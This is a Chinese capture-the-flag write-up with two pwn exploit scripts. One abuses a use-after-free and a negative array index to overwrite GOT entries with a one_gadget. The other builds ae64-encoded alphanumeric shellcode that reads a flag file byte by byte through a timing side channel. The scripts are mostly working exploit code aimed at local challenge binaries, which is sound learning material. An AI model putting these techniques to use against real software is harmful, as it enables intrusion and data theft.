当数组被填满的时候, 再进行删除会出现相同相同指针, 导致uaf
同时也存在数组负索引未检测的问题, 因此got表等也是可以被free的
后面就是修改got表, 使得指向onegadget的地址就行了
(这题当时没做出来主要是因为没发现uaf, 而且在本地仅靠负索引就可以做出来了, 但是在远程由于全局变量的改变, 导致负索引free等操作受限, 所以打不出来, 而且记录的这种做法很巧妙, 反正让我现在做也不一定做得出来, 记录下来主要是为了告诉自己got表可以尝试写入onegadget的hhh)
#!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * sh=process('./how2heap') elf=ELF('./how2heap') context.log_level='debug' context.binary=elf libc=elf.libc def add(content='/bin/shx00'): sh.recvuntil('> ') sh.sendline('1') sh.recvuntil('content: ') sh.sendline(content) def get(idx): sh.recvuntil('> ') sh.sendline('2') sh.recvuntil('id: ') sh.sendline(str(idx)) def dele(idx): sh.recvuntil('> ') sh.sendline('3') sh.recvuntil('id: ') sh.sendline(str(idx)) def exp(): #double free [add() for i in range(49)] dele(47) [dele(46) for i in range(2)] '''fake fd''' add(p64(0x602088)) [add() for i in range(2)] #gdb.attach(sh, '''b *0x400b37''') dele(0x100000000-0xc) dele(0x100000000-0xc) payload1=''' push 0x6020c0 pop rax ret nop ''' add(asm(payload1)+p32(0x100000000-0xf)) payload2=''' push 0x1324ba pop rbx sub r11, rbx xor rax, rax call r11 ''' gdb.attach(sh) add(asm(payload2)) #gdb.attach(sh) sh.interactive() exp()天翼杯2021-ezshell:
标准做法利用ae64生成, cmp阶段用alpha3会导致访问非法地址, 但ae64不会(剽窃群友叶子的exp, 因为的ae64坏掉了, 不晓得为什么)
还有个坑, seccomps检测出了个fd>>32>0的要求, 其实并不会生效
#!/usr/bin/env python # coding=utf-8 from ae64 import * from pwn import * context(os='linux',arch='amd64') EXCV = context.binary = './chall' e = ELF(EXCV) def pwn(p, index, ch): # open shellcode = "push 0x101f2; pop rdi; xor esi, esi; push 2; pop rax;syscall;" # re open, rax => 4 shellcode += "push 2; pop rax; syscall;" # read(rax, 0x10040, 0x50) shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10300; pop rsi; syscall;" # cmp and jz if index == 0: shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch) else: shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch) shellcode = asm(shellcode) shellcode = AE64().encode(shellcode,'rdx') payload = shellcode.ljust(0x200-14, b'a') + b'/home/pwn/flag' p.sendafter("?n",payload) index = 0 ans = [] while True: for ch in range(0x20, 127): p = process(EXCV) pwn(p, index, ch) start = time.time() try: p.recv(timeout=2) except: pass end = time.time() p.close() if end-start > 1.5: ans.append(ch) print("".join([chr(i) for i in ans])) break else: print("".join([chr(i) for i in ans])) break index = index + 1 print("".join([chr(i) for i in ans]))
其实用alpha3也可以强行做, 就后面不是直接cmp, 而是执行类似read(5, addr, 0x100)的东西, 5=open(你准备写入的shellcode), 其实就是cmp那个侧信道攻击, 毕竟它可见字符串检测只对第一次read有用, 后面的又不检测, 但是实在麻烦, 最起码要弄几十个记录侧信道cmp的shellcode二进制文件, 所以就仁者见仁智者见智了呗~